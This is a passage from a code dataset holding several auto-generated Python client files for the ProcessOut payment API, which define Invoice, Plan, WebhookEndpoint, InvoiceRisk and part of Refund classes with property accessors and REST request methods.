\n @property\n def require_backend_capture(self):\n \"\"\"Get require_backend_capture\"\"\"\n return self._require_backend_capture\n\n @require_backend_capture.setter\n def require_backend_capture(self, val):\n \"\"\"Set require_backend_capture\n Keyword argument:\n val -- New require_backend_capture value\"\"\"\n self._require_backend_capture = val\n return self\n \n @property\n def sandbox(self):\n \"\"\"Get sandbox\"\"\"\n return self._sandbox\n\n @sandbox.setter\n def sandbox(self, val):\n \"\"\"Set sandbox\n Keyword argument:\n val -- New sandbox value\"\"\"\n self._sandbox = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n @property\n def risk(self):\n \"\"\"Get risk\"\"\"\n return self._risk\n\n @risk.setter\n def risk(self, val):\n \"\"\"Set risk\n Keyword argument:\n val -- New risk value\"\"\"\n if val is None:\n self._risk = val\n return self\n\n if isinstance(val, dict):\n obj = processout.InvoiceRisk(self._client)\n obj.fill_with_data(val)\n self._risk = obj\n else:\n self._risk = val\n return self\n \n @property\n def shipping(self):\n \"\"\"Get shipping\"\"\"\n return self._shipping\n\n @shipping.setter\n def shipping(self, val):\n \"\"\"Set shipping\n Keyword argument:\n val -- New shipping value\"\"\"\n if val is None:\n self._shipping = val\n return self\n\n if isinstance(val, dict):\n obj = processout.InvoiceShipping(self._client)\n obj.fill_with_data(val)\n self._shipping = obj\n else:\n self._shipping = val\n return self\n \n @property\n def device(self):\n \"\"\"Get device\"\"\"\n return self._device\n\n @device.setter\n def device(self, val):\n \"\"\"Set device\n Keyword argument:\n val -- New device value\"\"\"\n if val is None:\n self._device = val\n return self\n\n if isinstance(val, dict):\n obj = processout.InvoiceDevice(self._client)\n obj.fill_with_data(val)\n self._device = obj\n else:\n self._device = val\n return self\n \n @property\n def external_fraud_tools(self):\n \"\"\"Get external_fraud_tools\"\"\"\n return self._external_fraud_tools\n\n @external_fraud_tools.setter\n def external_fraud_tools(self, val):\n \"\"\"Set external_fraud_tools\n Keyword argument:\n val -- New external_fraud_tools value\"\"\"\n if val is None:\n self._external_fraud_tools = val\n return self\n\n if isinstance(val, dict):\n obj = processout.InvoiceExternalFraudTools(self._client)\n obj.fill_with_data(val)\n self._external_fraud_tools = obj\n else:\n self._external_fraud_tools = val\n return self\n \n @property\n def exemption_reason_3ds2(self):\n \"\"\"Get exemption_reason_3ds2\"\"\"\n return self._exemption_reason_3ds2\n\n @exemption_reason_3ds2.setter\n def exemption_reason_3ds2(self, val):\n \"\"\"Set exemption_reason_3ds2\n Keyword argument:\n val -- New exemption_reason_3ds2 value\"\"\"\n self._exemption_reason_3ds2 = val\n return self\n \n @property\n def sca_exemption_reason(self):\n \"\"\"Get sca_exemption_reason\"\"\"\n return self._sca_exemption_reason\n\n @sca_exemption_reason.setter\n def sca_exemption_reason(self, val):\n \"\"\"Set sca_exemption_reason\n Keyword argument:\n val -- New sca_exemption_reason value\"\"\"\n self._sca_exemption_reason = val\n return self\n \n @property\n def challenge_indicator(self):\n \"\"\"Get challenge_indicator\"\"\"\n return self._challenge_indicator\n\n @challenge_indicator.setter\n def challenge_indicator(self, val):\n \"\"\"Set challenge_indicator\n Keyword argument:\n val -- New challenge_indicator value\"\"\"\n self._challenge_indicator = val\n return self\n \n @property\n def incremental(self):\n \"\"\"Get incremental\"\"\"\n return self._incremental\n\n @incremental.setter\n def incremental(self, val):\n \"\"\"Set incremental\n Keyword argument:\n val -- New incremental value\"\"\"\n self._incremental = val\n return self\n \n @property\n def tax(self):\n \"\"\"Get tax\"\"\"\n return self._tax\n\n @tax.setter\n def tax(self, val):\n \"\"\"Set tax\n Keyword argument:\n val -- New tax value\"\"\"\n if val is None:\n self._tax = val\n return self\n\n if isinstance(val, dict):\n obj = processout.InvoiceTax(self._client)\n obj.fill_with_data(val)\n self._tax = obj\n else:\n self._tax = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"project\" in data.keys():\n self.project = data[\"project\"]\n if \"project_id\" in data.keys():\n self.project_id = data[\"project_id\"]\n if \"transaction\" in data.keys():\n self.transaction = data[\"transaction\"]\n if \"transaction_id\" in data.keys():\n self.transaction_id = data[\"transaction_id\"]\n if \"customer\" in data.keys():\n self.customer = data[\"customer\"]\n if \"customer_id\" in data.keys():\n self.customer_id = data[\"customer_id\"]\n if \"subscription\" in data.keys():\n self.subscription = data[\"subscription\"]\n if \"subscription_id\" in data.keys():\n self.subscription_id = data[\"subscription_id\"]\n if \"token\" in data.keys():\n self.token = data[\"token\"]\n if \"token_id\" in data.keys():\n self.token_id = data[\"token_id\"]\n if \"details\" in data.keys():\n self.details = data[\"details\"]\n if \"url\" in data.keys():\n self.url = data[\"url\"]\n if \"name\" in data.keys():\n self.name = data[\"name\"]\n if \"amount\" in data.keys():\n self.amount = data[\"amount\"]\n if \"currency\" in data.keys():\n self.currency = data[\"currency\"]\n if \"merchant_initiator_type\" in data.keys():\n self.merchant_initiator_type = data[\"merchant_initiator_type\"]\n if \"statement_descriptor\" in data.keys():\n self.statement_descriptor = data[\"statement_descriptor\"]\n if \"statement_descriptor_phone\" in data.keys():\n self.statement_descriptor_phone = data[\"statement_descriptor_phone\"]\n if \"statement_descriptor_city\" in data.keys():\n self.statement_descriptor_city = data[\"statement_descriptor_city\"]\n if \"statement_descriptor_company\" in data.keys():\n self.statement_descriptor_company = data[\"statement_descriptor_company\"]\n if \"statement_descriptor_url\" in data.keys():\n self.statement_descriptor_url = data[\"statement_descriptor_url\"]\n if \"metadata\" in data.keys():\n self.metadata = data[\"metadata\"]\n if \"gateway_data\" in data.keys():\n self.gateway_data = data[\"gateway_data\"]\n if \"return_url\" in data.keys():\n self.return_url = data[\"return_url\"]\n if \"cancel_url\" in data.keys():\n self.cancel_url = data[\"cancel_url\"]\n if \"webhook_url\" in data.keys():\n self.webhook_url = data[\"webhook_url\"]\n if \"require_backend_capture\" in data.keys():\n self.require_backend_capture = data[\"require_backend_capture\"]\n if \"sandbox\" in data.keys():\n self.sandbox = data[\"sandbox\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n if \"risk\" in data.keys():\n self.risk = data[\"risk\"]\n if \"shipping\" in data.keys():\n self.shipping = data[\"shipping\"]\n if \"device\" in data.keys():\n self.device = data[\"device\"]\n if \"external_fraud_tools\" in data.keys():\n self.external_fraud_tools = data[\"external_fraud_tools\"]\n if \"exemption_reason_3ds2\" in data.keys():\n self.exemption_reason_3ds2 = data[\"exemption_reason_3ds2\"]\n if \"sca_exemption_reason\" in data.keys():\n self.sca_exemption_reason = data[\"sca_exemption_reason\"]\n if \"challenge_indicator\" in data.keys():\n self.challenge_indicator = data[\"challenge_indicator\"]\n if \"incremental\" in data.keys():\n self.incremental = data[\"incremental\"]\n if \"tax\" in data.keys():\n self.tax = data[\"tax\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"project\": self.project,\n \"project_id\": self.project_id,\n \"transaction\": self.transaction,\n \"transaction_id\": self.transaction_id,\n \"customer\": self.customer,\n \"customer_id\": self.customer_id,\n \"subscription\": self.subscription,\n \"subscription_id\": self.subscription_id,\n \"token\": self.token,\n \"token_id\": self.token_id,\n \"details\": self.details,\n \"url\": self.url,\n \"name\": self.name,\n \"amount\": self.amount,\n \"currency\": self.currency,\n \"merchant_initiator_type\": self.merchant_initiator_type,\n \"statement_descriptor\": self.statement_descriptor,\n \"statement_descriptor_phone\": self.statement_descriptor_phone,\n \"statement_descriptor_city\": self.statement_descriptor_city,\n \"statement_descriptor_company\": self.statement_descriptor_company,\n \"statement_descriptor_url\": self.statement_descriptor_url,\n \"metadata\": self.metadata,\n \"gateway_data\": self.gateway_data,\n \"return_url\": self.return_url,\n \"cancel_url\": self.cancel_url,\n \"webhook_url\": self.webhook_url,\n \"require_backend_capture\": self.require_backend_capture,\n \"sandbox\": self.sandbox,\n \"created_at\": self.created_at,\n \"risk\": self.risk,\n \"shipping\": self.shipping,\n \"device\": self.device,\n \"external_fraud_tools\": self.external_fraud_tools,\n \"exemption_reason_3ds2\": self.exemption_reason_3ds2,\n \"sca_exemption_reason\": self.sca_exemption_reason,\n \"challenge_indicator\": self.challenge_indicator,\n \"incremental\": self.incremental,\n \"tax\": self.tax,\n }\n\n def increment_authorization(self, amount, options = {}):\n \"\"\"Create an incremental authorization\n Keyword argument:\n amount -- Amount to increment authorization by\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/increment_authorization\"\n data = {\n 'amount': amount\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"transaction\"]\n transaction = processout.Transaction(self._client)\n return_values.append(transaction.fill_with_data(body))\n\n \n return return_values[0]\n\n def authorize(self, source, options = {}):\n \"\"\"Authorize the invoice using the given source (customer or token)\n Keyword argument:\n source -- Source used to authorization the payment. Can be a card, a token or a gateway request\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/authorize\"\n data = {\n 'device': self.device, \n 'incremental': self.incremental, \n 'synchronous': options.get(\"synchronous\"), \n 'retry_drop_liability_shift': options.get(\"retry_drop_liability_shift\"), \n 'capture_amount': options.get(\"capture_amount\"), \n 'enable_three_d_s_2': options.get(\"enable_three_d_s_2\"), \n 'auto_capture_at': options.get(\"auto_capture_at\"), \n 'source': source\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"transaction\"]\n transaction = processout.Transaction(self._client)\n return_values.append(transaction.fill_with_data(body))\n\n \n return return_values[0]\n\n def capture(self, source, options = {}):\n \"\"\"Capture the invoice using the given source (customer or token)\n Keyword argument:\n source -- Source used to authorization the payment. Can be a card, a token or a gateway request\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/capture\"\n data = {\n 'device': self.device, \n 'incremental': self.incremental, \n 'authorize_only': options.get(\"authorize_only\"), \n 'synchronous': options.get(\"synchronous\"), \n 'retry_drop_liability_shift': options.get(\"retry_drop_liability_shift\"), \n 'capture_amount': options.get(\"capture_amount\"), \n 'auto_capture_at': options.get(\"auto_capture_at\"), \n 'enable_three_d_s_2': options.get(\"enable_three_d_s_2\"), \n 'source': source\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"transaction\"]\n transaction = processout.Transaction(self._client)\n return_values.append(transaction.fill_with_data(body))\n\n \n return return_values[0]\n\n def fetch_customer(self, options = {}):\n \"\"\"Get the customer linked to the invoice.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/customers\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"customer\"]\n customer = processout.Customer(self._client)\n return_values.append(customer.fill_with_data(body))\n\n \n return return_values[0]\n\n def assign_customer(self, customer_id, options = {}):\n \"\"\"Assign a customer to the invoice.\n Keyword argument:\n customer_id -- ID of the customer to be linked to the invoice\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/customers\"\n data = {\n 'customer_id': customer_id\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"customer\"]\n customer = processout.Customer(self._client)\n return_values.append(customer.fill_with_data(body))\n\n \n return return_values[0]\n\n def initiate_three_d_s(self, source, options = {}):\n \"\"\"Initiate a 3-D Secure authentication\n Keyword argument:\n source -- Source used to initiate the 3-D Secure authentication. Can be a card, or a token representing a card\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/three-d-s\"\n data = {\n 'enable_three_d_s_2': options.get(\"enable_three_d_s_2\"), \n 'source': source\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"customer_action\"]\n customerAction = processout.CustomerAction(self._client)\n return_values.append(customerAction.fill_with_data(body))\n\n \n return return_values[0]\n\n def fetch_transaction(self, options = {}):\n \"\"\"Get the transaction of the invoice.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/transactions\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"transaction\"]\n transaction = processout.Transaction(self._client)\n return_values.append(transaction.fill_with_data(body))\n\n \n return return_values[0]\n\n def void(self, options = {}):\n \"\"\"Void the invoice\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(self.id) + \"/void\"\n data = {\n\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"transaction\"]\n transaction = processout.Transaction(self._client)\n return_values.append(transaction.fill_with_data(body))\n\n \n return return_values[0]\n\n def all(self, options = {}):\n \"\"\"Get all the invoices.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n a = []\n body = response.body\n for v in body['invoices']:\n tmp = processout.Invoice(self._client)\n tmp.fill_with_data(v)\n a.append(tmp)\n\n return_values.append(a)\n \n\n \n return return_values[0]\n\n def create(self, options = {}):\n \"\"\"Create a new invoice.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices\"\n data = {\n 'customer_id': self.customer_id, \n 'name': self.name, \n 'amount': self.amount, \n 'currency': self.currency, \n 'metadata': self.metadata, \n 'details': self.details, \n 'exemption_reason_3ds2': self.exemption_reason_3ds2, \n 'sca_exemption_reason': self.sca_exemption_reason, \n 'challenge_indicator': self.challenge_indicator, \n 'gateway_data': self.gateway_data, \n 'merchant_initiator_type': self.merchant_initiator_type, \n 'statement_descriptor': self.statement_descriptor, \n 'statement_descriptor_phone': self.statement_descriptor_phone, \n 'statement_descriptor_city': self.statement_descriptor_city, \n 'statement_descriptor_company': self.statement_descriptor_company, \n 'statement_descriptor_url': self.statement_descriptor_url, \n 'return_url': self.return_url, \n 'cancel_url': self.cancel_url, \n 'webhook_url': self.webhook_url, \n 'risk': self.risk, \n 'shipping': self.shipping, \n 'device': self.device, \n 'require_backend_capture': self.require_backend_capture, \n 'external_fraud_tools': self.external_fraud_tools, \n 'tax': self.tax\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"invoice\"]\n \n \n return_values.append(self.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def find(self, invoice_id, options = {}):\n \"\"\"Find an invoice by its ID.\n Keyword argument:\n invoice_id -- ID of the invoice\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/invoices/\" + quote_plus(invoice_id) + \"\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"invoice\"]\n \n \n obj = processout.Invoice(self._client)\n return_values.append(obj.fill_with_data(body))\n \n\n \n return return_values[0]\n\n \n", "id": "1184397", "language": "Python", "matching_score": 4.008153915405273, "max_stars_count": 1, "path": "processout/invoice.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass Plan(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._project = None\n self._project_id = None\n self._url = None\n self._name = None\n self._amount = None\n self._currency = None\n self._metadata = None\n self._interval = None\n self._trial_period = None\n self._return_url = None\n self._cancel_url = None\n self._sandbox = None\n self._created_at = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def project(self):\n \"\"\"Get project\"\"\"\n return self._project\n\n @project.setter\n def project(self, val):\n \"\"\"Set project\n Keyword argument:\n val -- New project value\"\"\"\n if val is None:\n self._project = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Project(self._client)\n obj.fill_with_data(val)\n self._project = obj\n else:\n self._project = val\n return self\n \n @property\n def project_id(self):\n \"\"\"Get project_id\"\"\"\n return self._project_id\n\n @project_id.setter\n def project_id(self, val):\n \"\"\"Set project_id\n Keyword argument:\n val -- New project_id value\"\"\"\n self._project_id = val\n return self\n \n @property\n def url(self):\n \"\"\"Get url\"\"\"\n return self._url\n\n @url.setter\n def url(self, val):\n \"\"\"Set url\n Keyword argument:\n val -- New url value\"\"\"\n self._url = val\n return self\n \n @property\n def name(self):\n \"\"\"Get name\"\"\"\n return self._name\n\n @name.setter\n def name(self, val):\n \"\"\"Set name\n Keyword argument:\n val -- New name value\"\"\"\n self._name = val\n return self\n \n @property\n def amount(self):\n \"\"\"Get amount\"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, val):\n \"\"\"Set amount\n Keyword argument:\n val -- New amount value\"\"\"\n self._amount = val\n return self\n \n @property\n def currency(self):\n \"\"\"Get currency\"\"\"\n return self._currency\n\n @currency.setter\n def currency(self, val):\n \"\"\"Set currency\n Keyword argument:\n val -- New currency value\"\"\"\n self._currency = val\n return self\n \n @property\n def metadata(self):\n \"\"\"Get metadata\"\"\"\n return self._metadata\n\n @metadata.setter\n def metadata(self, val):\n \"\"\"Set metadata\n Keyword argument:\n val -- New metadata value\"\"\"\n self._metadata = val\n return self\n \n @property\n def interval(self):\n \"\"\"Get interval\"\"\"\n return self._interval\n\n @interval.setter\n def interval(self, val):\n \"\"\"Set interval\n Keyword argument:\n val -- New interval value\"\"\"\n self._interval = val\n return self\n \n @property\n def trial_period(self):\n \"\"\"Get trial_period\"\"\"\n return self._trial_period\n\n @trial_period.setter\n def trial_period(self, val):\n \"\"\"Set trial_period\n Keyword argument:\n val -- New trial_period value\"\"\"\n self._trial_period = val\n return self\n \n @property\n def return_url(self):\n \"\"\"Get return_url\"\"\"\n return self._return_url\n\n @return_url.setter\n def return_url(self, val):\n \"\"\"Set return_url\n Keyword argument:\n val -- New return_url value\"\"\"\n self._return_url = val\n return self\n \n @property\n def cancel_url(self):\n \"\"\"Get cancel_url\"\"\"\n return self._cancel_url\n\n @cancel_url.setter\n def cancel_url(self, val):\n \"\"\"Set cancel_url\n Keyword argument:\n val -- New cancel_url value\"\"\"\n self._cancel_url = val\n return self\n \n @property\n def sandbox(self):\n \"\"\"Get sandbox\"\"\"\n return self._sandbox\n\n @sandbox.setter\n def sandbox(self, val):\n \"\"\"Set sandbox\n Keyword argument:\n val -- New sandbox value\"\"\"\n self._sandbox = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"project\" in data.keys():\n self.project = data[\"project\"]\n if \"project_id\" in data.keys():\n self.project_id = data[\"project_id\"]\n if \"url\" in data.keys():\n self.url = data[\"url\"]\n if \"name\" in data.keys():\n self.name = data[\"name\"]\n if \"amount\" in data.keys():\n self.amount = data[\"amount\"]\n if \"currency\" in data.keys():\n self.currency = data[\"currency\"]\n if \"metadata\" in data.keys():\n self.metadata = data[\"metadata\"]\n if \"interval\" in data.keys():\n self.interval = data[\"interval\"]\n if \"trial_period\" in data.keys():\n self.trial_period = data[\"trial_period\"]\n if \"return_url\" in data.keys():\n self.return_url = data[\"return_url\"]\n if \"cancel_url\" in data.keys():\n self.cancel_url = data[\"cancel_url\"]\n if \"sandbox\" in data.keys():\n self.sandbox = data[\"sandbox\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"project\": self.project,\n \"project_id\": self.project_id,\n \"url\": self.url,\n \"name\": self.name,\n \"amount\": self.amount,\n \"currency\": self.currency,\n \"metadata\": self.metadata,\n \"interval\": self.interval,\n \"trial_period\": self.trial_period,\n \"return_url\": self.return_url,\n \"cancel_url\": self.cancel_url,\n \"sandbox\": self.sandbox,\n \"created_at\": self.created_at,\n }\n\n def all(self, options = {}):\n \"\"\"Get all the plans.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/plans\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n a = []\n body = response.body\n for v in body['plans']:\n tmp = processout.Plan(self._client)\n tmp.fill_with_data(v)\n a.append(tmp)\n\n return_values.append(a)\n \n\n \n return return_values[0]\n\n def create(self, options = {}):\n \"\"\"Create a new plan.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/plans\"\n data = {\n 'id': self.id, \n 'name': self.name, \n 'amount': self.amount, \n 'currency': self.currency, \n 'interval': self.interval, \n 'trial_period': self.trial_period, \n 'metadata': self.metadata, \n 'return_url': self.return_url, \n 'cancel_url': self.cancel_url\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"plan\"]\n \n \n return_values.append(self.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def find(self, plan_id, options = {}):\n \"\"\"Find a plan by its ID.\n Keyword argument:\n plan_id -- ID of the plan\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/plans/\" + quote_plus(plan_id) + \"\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"plan\"]\n \n \n obj = processout.Plan(self._client)\n return_values.append(obj.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def save(self, options = {}):\n \"\"\"Save the updated plan attributes. This action won't affect subscriptions already linked to this plan.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/plans/\" + quote_plus(self.id) + \"\"\n data = {\n 'name': self.name, \n 'trial_period': self.trial_period, \n 'metadata': self.metadata, \n 'return_url': self.return_url, \n 'cancel_url': self.cancel_url\n }\n\n response = Response(request.put(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"plan\"]\n \n \n return_values.append(self.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def end(self, options = {}):\n \"\"\"Delete a plan. Subscriptions linked to this plan won't be affected.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/plans/\" + quote_plus(self.id) + \"\"\n data = {\n\n }\n\n response = Response(request.delete(path, data, options))\n return_values = []\n \n return_values.append(response.success)\n\n \n return return_values[0]\n\n \n", "id": "6054431", "language": "Python", "matching_score": 2.3803255558013916, "max_stars_count": 1, "path": "processout/plan.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass WebhookEndpoint(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._project = None\n self._project_id = None\n self._url = None\n self._events_whitelist = None\n self._sandbox = None\n self._created_at = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def project(self):\n \"\"\"Get project\"\"\"\n return self._project\n\n @project.setter\n def project(self, val):\n \"\"\"Set project\n Keyword argument:\n val -- New project value\"\"\"\n if val is None:\n self._project = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Project(self._client)\n obj.fill_with_data(val)\n self._project = obj\n else:\n self._project = val\n return self\n \n @property\n def project_id(self):\n \"\"\"Get project_id\"\"\"\n return self._project_id\n\n @project_id.setter\n def project_id(self, val):\n \"\"\"Set project_id\n Keyword argument:\n val -- New project_id value\"\"\"\n self._project_id = val\n return self\n \n @property\n def url(self):\n \"\"\"Get url\"\"\"\n return self._url\n\n @url.setter\n def url(self, val):\n \"\"\"Set url\n Keyword argument:\n val -- New url value\"\"\"\n self._url = val\n return self\n \n @property\n def events_whitelist(self):\n \"\"\"Get events_whitelist\"\"\"\n return self._events_whitelist\n\n @events_whitelist.setter\n def events_whitelist(self, val):\n \"\"\"Set events_whitelist\n Keyword argument:\n val -- New events_whitelist value\"\"\"\n self._events_whitelist = val\n return self\n \n @property\n def sandbox(self):\n \"\"\"Get sandbox\"\"\"\n return self._sandbox\n\n @sandbox.setter\n def sandbox(self, val):\n \"\"\"Set sandbox\n Keyword argument:\n val -- New sandbox value\"\"\"\n self._sandbox = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"project\" in data.keys():\n self.project = data[\"project\"]\n if \"project_id\" in data.keys():\n self.project_id = data[\"project_id\"]\n if \"url\" in data.keys():\n self.url = data[\"url\"]\n if \"events_whitelist\" in data.keys():\n self.events_whitelist = data[\"events_whitelist\"]\n if \"sandbox\" in data.keys():\n self.sandbox = data[\"sandbox\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"project\": self.project,\n \"project_id\": self.project_id,\n \"url\": self.url,\n \"events_whitelist\": self.events_whitelist,\n \"sandbox\": self.sandbox,\n \"created_at\": self.created_at,\n }\n\n \n", "id": "6633896", "language": "Python", "matching_score": 2.4975550174713135, "max_stars_count": 1, "path": "processout/webhookendpoint.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass InvoiceRisk(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._score = None\n self._is_legit = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def score(self):\n \"\"\"Get score\"\"\"\n return self._score\n\n @score.setter\n def score(self, val):\n \"\"\"Set score\n Keyword argument:\n val -- New score value\"\"\"\n self._score = val\n return self\n \n @property\n def is_legit(self):\n \"\"\"Get is_legit\"\"\"\n return self._is_legit\n\n @is_legit.setter\n def is_legit(self, val):\n \"\"\"Set is_legit\n Keyword argument:\n val -- New is_legit value\"\"\"\n self._is_legit = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"score\" in data.keys():\n self.score = data[\"score\"]\n if \"is_legit\" in data.keys():\n self.is_legit = data[\"is_legit\"]\n \n return self\n\n def to_json(self):\n return {\n \"score\": self.score,\n \"is_legit\": self.is_legit,\n }\n\n \n", "id": "143979", "language": "Python", "matching_score": 0.5597409009933472, "max_stars_count": 1, "path": "processout/invoicerisk.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass Refund(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._transaction = None\n self._transaction_id = None\n self._amount = None\n self._reason = None\n self._information = None\n self._has_failed = None\n self._metadata = None\n self._sandbox = None\n self._created_at = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def transaction(self):\n \"\"\"Get transaction\"\"\"\n return self._transaction\n\n @transaction.setter\n def transaction(self, val):\n \"\"\"Set transaction\n Keyword argument:\n val -- New transaction value\"\"\"\n if val is None:\n self._transaction = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Transaction(self._client)\n obj.fill_with_data(val)\n self._transaction = obj\n else:\n self._transaction = val\n return self\n \n @property\n def transaction_id(self):\n \"\"\"Get transaction_id\"\"\"\n return self._transaction_id\n\n @transaction_id.setter\n def transaction_id(self, val):\n \"\"\"Set transaction_id\n Keyword argument:\n val -- New transaction_id value\"\"\"\n self._transaction_id = val\n return self\n \n @property\n def amount(self):\n \"\"\"Get amount\"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, val):\n \"\"\"Set amount\n Keyword argument:\n val -- New amount value\"\"\"\n self._amount = val\n return self\n \n @property\n def reason(self):\n \"\"\"Get reason\"\"\"\n 